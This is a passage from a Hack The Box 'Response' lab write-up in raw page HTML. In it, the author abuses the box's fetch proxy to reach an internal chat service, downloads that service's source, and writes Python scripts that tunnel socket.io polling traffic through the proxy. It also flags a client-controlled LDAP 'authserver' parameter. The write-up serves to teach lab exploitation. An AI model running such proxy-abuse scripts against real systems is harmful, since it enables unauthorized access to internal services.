&#039;session&#039;:&#039;a4a367db2afceb92cd232cac0d2a45c0&#039;, &#039;session_digest&#039;:&#039;c6ecbf5bd96597ecb173300bd32f8d3a4d10a36af98d6bb46bdfafed22a06b92&#039;}\n  r = requests.post(&#039;http:\/\/proxy.response.htb\/fetch&#039;, json=j)\n  print(r.text)\n\nrequest_url(&#039;GET&#039;, &#039;http:\/\/localhost&#039;)\n<\/pre><\/div>\n\n\n<p>Running the script yields the same response we got when manually crafting the request:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ .\/proxy_request.py\n{&quot;error&quot;:&quot;HTTPConnectionPool(host=&#039;localhost&#039;, port=80): Max retries exceeded with url: \/ (Caused by NewConnectionError(&#039;&lt;urllib3.connection.HTTPConnection object at 0x7f7e4893dbd0&gt;: Failed to establish a new connection: &#x5B;Errno 111] Connection refused&#039;))&quot;}\n<\/pre><\/div>\n\n\n<p>At next we can try to access a different URL. During the initial recon we have found an additional subdomain, which we have not access yet: <code>chat.response.htb<\/code>. Let&#8217;s try to access this subdomain via the proxy. We adjust the python script:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\nrequest_url(&#039;GET&#039;, &#039;http:\/\/chat.response.htb&#039;)\n...\n<\/pre><\/div>\n\n\n<p>\u2026 and rerun it:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ .\/proxy_request.py\n{&quot;body&quot;:&quot;PCFET0NUWVBFIGh0b...&quot;,&quot;status_code&quot;:200}\n<\/pre><\/div>\n\n\n<p>Obviously the request was successful. We adjust our python script to automatically decoded the <code>body<\/code> parameter of the returned JSON data:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\nfrom base64 import b64decode\n...\n  if (&#039;body&#039; in r.json()):\n    print(b64decode(r.json()&#x5B;&#039;body&#039;]).decode())\n  else:\n    print(r.text)\n...\n<\/pre><\/div>\n\n\n<p>Now the script directly outputs the decoded body:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: xml; gutter: false; title: ; notranslate\" title=\"\">\n$ .\/proxy_request.py\n&lt;!DOCTYPE html&gt;&lt;html lang=&quot;&quot;&gt;&lt;head&gt;&lt;meta charset=&quot;utf-8&quot;&gt;&lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge&quot;&gt;&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width,initial-scale=1&quot;&gt;&lt;link rel=&quot;icon&quot; href=&quot;\/favicon.ico&quot;&gt;&lt;title&gt;Internal Chat&lt;\/title&gt;&lt;link href=&quot;\/css\/app.032c53ae.css&quot; rel=&quot;preload&quot; as=&quot;style&quot;&gt;&lt;link href=&quot;\/js\/app.3787a6c5.js&quot; rel=&quot;preload&quot; as=&quot;script&quot;&gt;&lt;link href=&quot;\/js\/chunk-vendors.bc02b591.js&quot; rel=&quot;preload&quot; as=&quot;script&quot;&gt;&lt;link href=&quot;\/css\/app.032c53ae.css&quot; rel=&quot;stylesheet&quot;&gt;&lt;\/head&gt;&lt;body&gt;&lt;noscript&gt;&lt;strong&gt;We&#039;re sorry but this application doesn&#039;t work properly without JavaScript enabled. Please enable it to continue.&lt;\/strong&gt;&lt;\/noscript&gt;&lt;div id=&quot;app&quot;&gt;&lt;\/div&gt;&lt;div id=&quot;div_download&quot; style=&quot;position:absolute;bottom:10px;right:10px;&quot;&gt;&lt;a href=&quot;files\/chat_source.zip&quot; style=&quot;text-decoration:none;color:#cccccc;&quot;&gt;download source code&lt;\/a&gt;&lt;\/div&gt;&lt;script src=&quot;\/js\/chunk-vendors.bc02b591.js&quot;&gt;&lt;\/script&gt;&lt;script src=&quot;\/js\/app.3787a6c5.js&quot;&gt;&lt;\/script&gt;&lt;\/body&gt;&lt;\/html&gt;\n<\/pre><\/div>\n\n\n<p>The chat application seems to require javascript. Also there is a link to download the source code (<code>files\/chat_source.zip<\/code>).<\/p>\n\n\n\n<p>Again we slightly adjust the python script in order to download the zip archive and write it to a file:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\n  r = requests.post(&#039;http:\/\/proxy.response.htb\/fetch&#039;, json=j)\n  f = open(&#039;chat_source.zip&#039;, &#039;wb&#039;)\n  f.write(b64decode(r.json()&#x5B;&#039;body&#039;]))\n  f.close()\n...\n<\/pre><\/div>\n\n\n<p>Rerunning the script downloads the zip archive:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ .\/proxy_request.py\n$ file chat_source.zip                                                   \nchat_source.zip: Zip archive data, at least v2.0 to extract\n<\/pre><\/div>\n\n\n<h2 id=\"chat\">Internal Chat Application<\/h2>\n\n\n\n<p>We create a new directory and unzip the contents of the archive to this directory:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ mkdir chat\n$ unzip chat_source.zip -d chat \nArchive:  chat_source.zip\n  inflating: chat\/babel.config.js    \n  inflating: chat\/package.json       \n  inflating: chat\/package-lock.json  \n   creating: chat\/public\/\n  inflating: chat\/public\/index.html  \n  inflating: chat\/public\/favicon.ico  \n   creating: chat\/public\/fonts\/\n  inflating: chat\/public\/fonts\/Lato-Regular.ttf  \n  inflating: chat\/README.md          \n   creating: chat\/src\/\n  inflating: chat\/src\/main.js        \n   creating: chat\/src\/components\/\n  inflating: chat\/src\/components\/MessagePanel.vue  \n  inflating: chat\/src\/components\/StatusIcon.vue  \n  inflating: chat\/src\/components\/SelectUsername.vue  \n  inflating: chat\/src\/components\/User.vue  \n  inflating: chat\/src\/components\/Chat.vue  \n  inflating: chat\/src\/App.vue        \n  inflating: chat\/src\/socket.js      \n  inflating: chat\/server\/cluster.js  \n  inflating: chat\/server\/index.js    \n  inflating: chat\/server\/messageStore.js  \n  inflating: chat\/server\/package.json  \n  inflating: chat\/server\/package-lock.json  \n  inflating: chat\/server\/sessionStore.js\n<\/pre><\/div>\n\n\n<p>The <code>README.md<\/code> file stats that the application is based on <code><a href=\"https:\/\/socket.io\/get-started\/private-messaging-part-1\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/socket.io\/get-started\/private-messaging-part-1\/<\/a><\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ cat README.md      \n# Response Scanning Solutions - Internal Chat Application\n\nThis repository contains the Response Scanning Solutions internal chat application.\n\nThe application is based on the following article: https:\/\/socket.io\/get-started\/private-messaging-part-1\/.\n\n## How to deploy\n\nMake sure `redis` server is running and configured in `server\/index.js`.\n\nAdjust `socket.io` URL in `src\/socket.js`.\n\nInstall and build the frontend:\n\n$ npm install\n$ npm run build\n\nInstall and run the server:\n\n$ cd server\n$ npm install\n$ npm start\n<\/pre><\/div>\n\n\n<p>The mentioned article is a tutorial, which describes the development of a private messaging app using <code>socket.io<\/code>.<\/p>\n\n\n\n<p>By comparing the source code of the tutorial with the downloaded source code from <code>chat.response.htb<\/code> we can identify a few adjustments made. The most major change is the introduction of an authentication mechanism. To make the analysis a little bit more easy, we combine the static analysis of the source code with a dynamic approach by running the chat application on our own machine.<\/p>\n\n\n\n<p>In order to do this we run <code>npm install<\/code> in the folder, where we extracted the zip archive (<code>chat<\/code>):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ npm install\n...\n<\/pre><\/div>\n\n\n<p>At next we should run <code>npm run build<\/code> to create the client-side production build. Though this might throw an error because of missing modules, which we have to add manually using <code>npm install<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ npm install caniuse-lite\n...\n$ npm install electron-to-chromium\n...\n$ npm install @ampproject\/remapping\n...\n<\/pre><\/div>\n\n\n<p>After all missing modules are installed, we can successfully run <code>npm run build<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ npm run build                                                                                \n\n&gt; private-messaging@0.1.0 build                                                                                                                                                                   \n&gt; vue-cli-service build                                                                          \n\n\nBuilding for production...                                                                                                                                                                     \n\n DONE  Compiled successfully in 6061ms                                                                                                                                                  7:45:33 AM\n\n  File                                 Size                                                                        Gzipped\n\n  dist\/js\/chunk-vendors.bc02b591.js    157.07 KiB                                                                  53.78 KiB\n  dist\/js\/app.109c1808.js              9.21 KiB                                                                    3.03 KiB\n  dist\/css\/app.032c53ae.css            1.37 KiB                                                                    0.59 KiB\n\n  Images and other types of assets omitted.\n\n DONE  Build complete. The dist directory is ready to be deployed.\n INFO  Check out deployment instructions at https:\/\/cli.vuejs.org\/guide\/deployment.html\n<\/pre><\/div>\n\n\n<p>At next we change into the <code>server<\/code> directory and also run <code>npm install<\/code> to install all server-side modules:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ cd server\n$ npm install\n...\n<\/pre><\/div>\n\n\n<p>If we now try to run the server using <code>npm start<\/code>, we get an error:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ npm start                                                                                    \n\n&gt; server@1.0.0 start \n&gt; node cluster.js        \n\nMaster 6975 is running\nserver listening at http:\/\/localhost:3000\nWorker 6983 started\nWorker 6982 started                       \nWorker 6984 started                       \nWorker 6985 started                             \nevents.js:291                                   \n      throw er; \/\/ Unhandled &#039;error&#039; event                                                       \n      ^                                                                                          \n\nError: getaddrinfo EAI_AGAIN redis\n    at GetAddrInfoReqWrap.onlookup &#x5B;as oncomplete] (dns.js:66:26)\nEmitted &#039;error&#039; event on RedisAdapter instance at:\n    at Redis.onError (\/home\/kali\/htb\/boxes\/response\/chat\/server\/node_modules\/socket.io-redis\/dist\/index.js:65:22)\n    at Redis.emit (events.js:314:20)\n    at Redis.silentEmit (\/home\/kali\/htb\/boxes\/response\/chat\/server\/node_modules\/ioredis\/built\/redis\/index.js:553:26)\n    at Socket.&lt;anonymous&gt; (\/home\/kali\/htb\/boxes\/response\/chat\/server\/node_modules\/ioredis\/built\/redis\/event_handler.js:191:14)\n    at Object.onceWrapper (events.js:421:26)\n    at Socket.emit (events.js:326:22)\n    at emitErrorNT (internal\/streams\/destroy.js:92:8)\n    at emitErrorAndCloseNT (internal\/streams\/destroy.js:60:3)\n    at processTicksAndRejections (internal\/process\/task_queues.js:84:21) {\n  errno: &#039;EAI_AGAIN&#039;,\n  code: &#039;EAI_AGAIN&#039;,\n  syscall: &#039;getaddrinfo&#039;,\n  hostname: &#039;redis&#039;\n}\n...\n<\/pre><\/div>\n\n\n<p>The error message indicates that the redis server cannot be contacted, which makes sense since we have not yet deployed a redis server. In order to quickly do this, we can use <code>docker<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ sudo docker run --name my-redis -p 6379:6379 -d redis\n...\n<\/pre><\/div>\n\n\n<p>Also we have to adjust the source code in <code>server\/index.js<\/code> and change the hostname of the redis server from <code>redis<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; title: ; notranslate\" title=\"\">\nconst redisClient = new Redis(6379, &quot;redis&quot;);\n<\/pre><\/div>\n\n\n<p>\u2026 to <code>localhost<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\nconst redisClient = new Redis(6379, &quot;localhost&quot;);\n<\/pre><\/div>\n\n\n<p>Alternatively we can add an entry within <code>\/etc\/hosts<\/code> to point <code>redis<\/code> to <code>127.0.0.1<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ cat \/etc\/hosts\n127.0.0.1       localhost redis\n...\n<\/pre><\/div>\n\n\n<p>Now we can start the server:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ npm start         \n\n&gt; server@1.0.0 start\n&gt; node cluster.js\n\nMaster 8684 is running\nserver listening at http:\/\/localhost:3000\nWorker 8691 started\nWorker 8692 started\nWorker 8693 started\nWorker 8694 started\n<\/pre><\/div>\n\n\n<p>Accessing <code>http:\/\/localhost:3000<\/code> shows a login form:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"807\" height=\"588\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-04.png\" alt=\"\" class=\"wp-image-2614\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-04.png 807w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-04-300x219.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-04-768x560.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>At this point we can combine static and dynamic analysis of the application.<\/p>\n\n\n\n<p>Within the file <code>server\/index.js<\/code> we can see a function called <code>authenticate_user<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\nasync function authenticate_user(username, password, authserver) {\n\n  if (username === &#039;guest&#039; &amp;&amp; password === &#039;guest&#039;) return true;\n\n  if (!\/^&#x5B;a-zA-Z0-9]+$\/.test(username)) return false;\n\n  let options = {\n    ldapOpts: { url: `ldap:\/\/${authserver}` },\n    userDn: `uid=${username},ou=users,dc=response,dc=htb`,\n    userPassword: password,\n  }\n  try {\n    return await authenticate(options);\n  } catch { }\n  return false;\n\n}\n<\/pre><\/div>\n\n\n<p>The function seems to perform an authentication via <code>LDAP<\/code>. But let&#8217;s start at the beginning. There is a check if the <code>username<\/code> and <code>password<\/code> is equal to <code>guest<\/code>. Let&#8217;s check if these credentials work.<\/p>\n\n\n\n<p>After submitting the login form, we are thrown back to the blank login form again. Within the network tab of the browser we can see failed request attempts to <code>chat.response.htb<\/code>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"870\" height=\"782\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-05.png\" alt=\"\" class=\"wp-image-2615\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-05.png 870w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-05-300x270.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-05-768x690.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>Since we have already added an entry for the <code>chat<\/code> subdomain to our <code>hosts<\/code> file, the request goes to the actual box. We can also see the request in Burp:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: xml; gutter: false; title: ; notranslate\" title=\"\">\nGET \/socket.io\/?EIO=4&amp;transport=polling&amp;t=NzfkhTq HTTP\/1.1\nHost: chat.response.htb\n...\n<\/pre><\/div>\n\n\n<p>\u2026 and the corresponding response:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: xml; gutter: false; title: ; notranslate\" title=\"\">\nHTTP\/1.1 403 Forbidden\nServer: nginx\/1.21.6\n...\n<\/pre><\/div>\n\n\n<p>We have already figured out that we cannot directly access <code>chat.response.htb<\/code>. In this case we want the chat application to use our local server, so we have to adjust the source code in the file <code>src\/socket.js<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n\/\/const URL = &quot;http:\/\/chat.response.htb&quot;;\nconst URL = &quot;http:\/\/localhost:3000&quot;;\n<\/pre><\/div>\n\n\n<p>After this adjustment we have to recreate the client-side build (<code>npm run build<\/code>). Now we can successfully login with the credentials <code>guest<\/code> \/ <code>guest<\/code>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"858\" height=\"616\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-06.png\" alt=\"\" class=\"wp-image-2616\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-06.png 858w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-06-300x215.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-06-768x551.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>Not very surprisingly we are the only user in the chat. So it is time to try to connect to the real chat application by using the proxy.<\/p>\n\n\n\n<h3 id=\"proxy\">Gaining Access via Proxy<\/h3>\n\n\n\n<p>Though we are faced with an immediate problem. When we use our test deployment to send ourselves a message, we can see that <code>socket.io<\/code> is using a websocket connection to transmit this message to the server within Burp&#8217;s WebSockets history tab:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"579\" height=\"466\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-07.png\" alt=\"\" class=\"wp-image-2617\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-07.png 579w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-07-300x241.png 300w\" sizes=\"(max-width: 579px) 100vw, 579px\" \/><\/figure>\n\n\n\n<p>The problem here is that we probably cannot establish a websocket connection via the proxy.<\/p>\n\n\n\n<p>Consulting the documentation of <code>socket.io<\/code> at <a href=\"https:\/\/socket.io\/docs\/v4\/client-options\/#transports\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/socket.io\/docs\/v4\/client-options\/#transports<\/a> reveals that there is an option called <code>transports<\/code>, which allows us the specify what kind of low-level connections <code>socket.io<\/code> uses. The documentation states:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\nThe low-level connection to the Socket.IO server can either be established with:\n- HTTP long-polling: successive HTTP requests (POST for writing, GET for reading)\n- WebSocket\n<\/pre><\/div>\n\n\n<p>Accordingly we can also use <code>HTTP long-polling<\/code> instead of WebSockets. In order to force <code>socket.io<\/code> to use long-polling we add the option <code>transports: [\"polling\"]<\/code> in the file <code>src\/socket.js<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n...\nconst socket = io(URL, { autoConnect: false, transports: &#x5B;&quot;polling&quot;] });\n...\n<\/pre><\/div>\n\n\n<p>After recreating the client-side build (<code>npm run build<\/code>) and logging in again, we can observe that the communication is now carried out via ordinary HTTP requests instead of websockets:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"599\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-08-1024x599.png\" alt=\"\" class=\"wp-image-2618\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-08-1024x599.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-08-300x176.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-08-768x449.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-08.png 1116w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>In order to establish the connection to the real chat application via the proxy we have to observe the whole communication. We start by deleting the <code>sessionID<\/code> from our local storage, refresh the page and log back in again. This way we can observe the whole communication.<\/p>\n\n\n\n<p>After clicking on the <code>Login<\/code> button we can observe three requests \/ responses related to the <code>socket.io<\/code> connection in Burp. A detailed documentation on the handshake can be found <a href=\"https:\/\/socket.io\/docs\/v4\/how-it-works\/\">here<\/a>.<\/p>\n\n\n\n<p>At first the client-side javascript initiates the connection with the following <code>GET<\/code> request:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: xml; gutter: false; title: ; notranslate\" title=\"\">\nGET \/socket.io\/?EIO=4&amp;transport=polling&amp;t=NzjeMmd HTTP\/1.1\nHost: localhost:3000\n...\n<\/pre><\/div>\n\n\n<p>The response from the server contains a unique <code>sid<\/code>. The server also offers an upgrade to a websocket connection, which our client will ignore since we enforced the <code>polling<\/code> transport mechanism:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\nHTTP\/1.1 200 OK\n...\n\n0{&quot;sid&quot;:&quot;32AeoEDLWTRMoyzeAAAC&quot;,&quot;upgrades&quot;:&#x5B;&quot;websocket&quot;],&quot;pingInterval&quot;:25000,&quot;pingTimeout&quot;:20000}\n<\/pre><\/div>\n\n\n<p>At next the credentials we entered are sent via a <code>POST<\/code> request. Also the <code>GET<\/code> parameter <code>sid<\/code> contains the value we got in the last response. At this point we can already see that not only the credentials we entered (<code>guest<\/code> \/ <code>guest<\/code>) are sent, but also an additional third parameter called <code>authserver<\/code>. This parameter will play an important role later on:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\nPOST \/socket.io\/?EIO=4&amp;transport=polling&amp;t=NzjeMnf&amp;sid=32AeoEDLWTRMoyzeAAAC HTTP\/1.1\nHost: localhost:3000\n...\n\n40{&quot;username&quot;:&quot;guest&quot;,&quot;password&quot;:&quot;guest&quot;,&quot;authserver&quot;:&quot;ldap.response.htb&quot;}\n<\/pre><\/div>\n\n\n<p>The response from the server simply contains <code>ok<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\nHTTP\/1.1 200 OK\n...\n\nok\n<\/pre><\/div>\n\n\n<p>At next the client-side javascript sends a <code>GET<\/code> request to check if new data is available on the server:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\nGET \/socket.io\/?EIO=4&amp;transport=polling&amp;t=NzjeMnh&amp;sid=32AeoEDLWTRMoyzeAAAC HTTP\/1.1\nHost: localhost:3000\n...\n<\/pre><\/div>\n\n\n<p>The response contains our <code>sessionID<\/code> and a list of chat users (only <code>guest<\/code>):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\nHTTP\/1.1 200 OK\n...\n\n40{&quot;sid&quot;:&quot;FJ3Ypk79hjZO7IL5AAAD&quot;}42&#x5B;&quot;session&quot;,{&quot;sessionID&quot;:&quot;817f935e44e47477eefa3b2808f2b3f3&quot;,&quot;username&quot;:&quot;guest&quot;}]42&#x5B;&quot;users&quot;,&#x5B;{&quot;username&quot;:&quot;guest&quot;,&quot;connected&quot;:true}]]\n<\/pre><\/div>\n\n\n<p>From now on the client-side javascript regularly sends this <code>GET<\/code> request to check for new data. If no new data is available, the server suspends the response for a few seconds and finally answers with a <code>2<\/code>, which is the packet type id for <code>PING<\/code>. The different packet types are described <a href=\"https:\/\/github.com\/socketio\/engine\">here<\/a>.io-protocol#packet.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\nHTTP\/1.1 200 OK\n...\n\n2\n<\/pre><\/div>\n\n\n<p>On receiving this response the client-side javascript sends a <code>POST<\/code> request with the content <code>3<\/code>, which equals the packet type id <code>PONG<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\nPOST \/socket.io\/?EIO=4&amp;transport=polling&amp;t=Nzj_Cl7&amp;sid=32AeoEDLWTRMoyzeAAAC HTTP\/1.1\nHost: localhost:3000\n...\n\n3\n<\/pre><\/div>\n\n\n<p>When sending a message to ourselves (<code>guest<\/code>) the corresponding <code>POST<\/code> request looks like this:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\nPOST \/socket.io\/?EIO=4&amp;transport=polling&amp;t=Nzk6rx0&amp;sid=MJzY8zUIfoTr7zo7AAAC HTTP\/1.1\nHost: localhost:3000\n...\n\n42&#x5B;&quot;private message&quot;,{&quot;content&quot;:&quot;test\\n&quot;,&quot;to&quot;:&quot;guest&quot;}]\n<\/pre><\/div>\n\n\n<p>After having figured out, how the <code>socket.io<\/code> communication works, we can now try to access the real chat application via the proxy.<\/p>\n\n\n\n<p>As a basis we take our python script from before. At first we modify the <code>request_url<\/code> function slightly to in order to be able to also send <code>POST<\/code> requests. Based on the responses we receive from the proxy, we have to assume that the body is supposed to be sent <code>base64<\/code> encoded within a <code>body<\/code> parameter:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\ndef request_url(method, url, data=None):\n  url_digest = get_digest(url)\n  j = {&#039;url&#039;:url, &#039;url_digest&#039;:url_digest, &#039;method&#039;:method, &#039;session&#039;:&#039;a4a367db2afceb92cd232cac0d2a45c0&#039;, &#039;session_digest&#039;:&#039;c6ecbf5bd96597ecb173300bd32f8d3a4d10a36af98d6bb46bdfafed22a06b92&#039;}\n  if (data): j&#x5B;&#039;body&#039;] = b64encode(data) # add body parameter if data is present\n  r = requests.post(&#039;http:\/\/proxy.response.htb\/fetch&#039;, json=j)\n  if (&#039;body&#039; in r.json()):\n    print(b64decode(r.json()&#x5B;&#039;body&#039;]).decode())\n  else:\n    print(r.text)\n...\n<\/pre><\/div>\n\n\n<p>Now we create a thread, which will connect to the chat application and poll the server for new messages:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\nimport threading\n...\ndef chat_thread():\n  global sid\n\n  # initialize socket.io connection\n  r = request_url(&#039;GET&#039;, &#039;http:\/\/chat.response.htb\/socket.io\/?EIO=4&amp;transport=polling&amp;t=NzjwjKo&#039;)\n\n  # extract sid\n  x = re.search(b&#039;{&quot;sid&quot;:&quot;(&#x5B;a-zA-Z0-9-]+)&quot;&#039;, r)\n  sid = x.group(1).decode()\n  print(&#039;sid = %s&#039; % sid)\n\n  # send credentials\n  d = b&#039;40{&quot;username&quot;:&quot;guest&quot;,&quot;password&quot;:&quot;guest&quot;,&quot;authserver&quot;:&quot;ldap.response.htb&quot;}&#039;\n  r = request_url(&#039;POST&#039;, &#039;http:\/\/chat.response.htb\/socket.io\/?EIO=4&amp;transport=polling&amp;t=NzjwjKo&amp;sid=&#039; + sid, d)\n\n  # from now on poll for new data\n  while True:\n    r = request_url(&#039;GET&#039;, &#039;http:\/\/chat.response.htb\/socket.io\/?EIO=4&amp;transport=polling&amp;t=NzjwjKo&amp;sid=&#039; + sid)\n    print(r)\n\n    if (r == b&#039;2&#039;):\n      # received PING (2), send PONG (3)\n      request_url(&#039;POST&#039;, &#039;http:\/\/chat.response.htb\/socket.io\/?EIO=4&amp;transport=polling&amp;t=NzjwjKo&amp;sid=&#039; + sid, b&#039;3&#039;)\n...\nt1 = threading.Thread(target=chat_thread)\nt1.start()\n<\/pre><\/div>\n\n\n<p>The <code>chat_thread<\/code> function basically reproduces the requests we have observed. At first the <code>socket.io<\/code> connection is initialized retrieving the <code>sid<\/code> value. At next the credentials are sent. From now on the thread polls the server for new message in a <code>while<\/code> loop. If the server responds with a <code>2<\/code> (<code>PING<\/code>) a corresponding <code>3<\/code> (<code>PONG<\/code>) is sent.<\/p>\n\n\n\n<p>We also add a second thread, which we will use to send messages:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\ndef read_thread():\n  global sid\n\n  while True:\n    to  = input(&#039;to&gt; &#039;).encode()\n    msg = input(&#039;msg&gt; &#039;).encode()\n    d = b&#039;42&#x5B;&quot;private message&quot;,{&quot;content&quot;:&quot;%s&quot;,&quot;to&quot;:&quot;%s&quot;}]&#039; % (msg, to)\n    request_url(&#039;POST&#039;, &#039;http:\/\/chat.response.htb\/socket.io\/?EIO=4&amp;transport=polling&amp;t=NzjwjKo&amp;sid=&#039; + sid, d)\n\n...\nt2 = threading.Thread(target=read_thread)\nt2.start()\n<\/pre><\/div>\n\n\n<p>The function <code>read_thread<\/code> 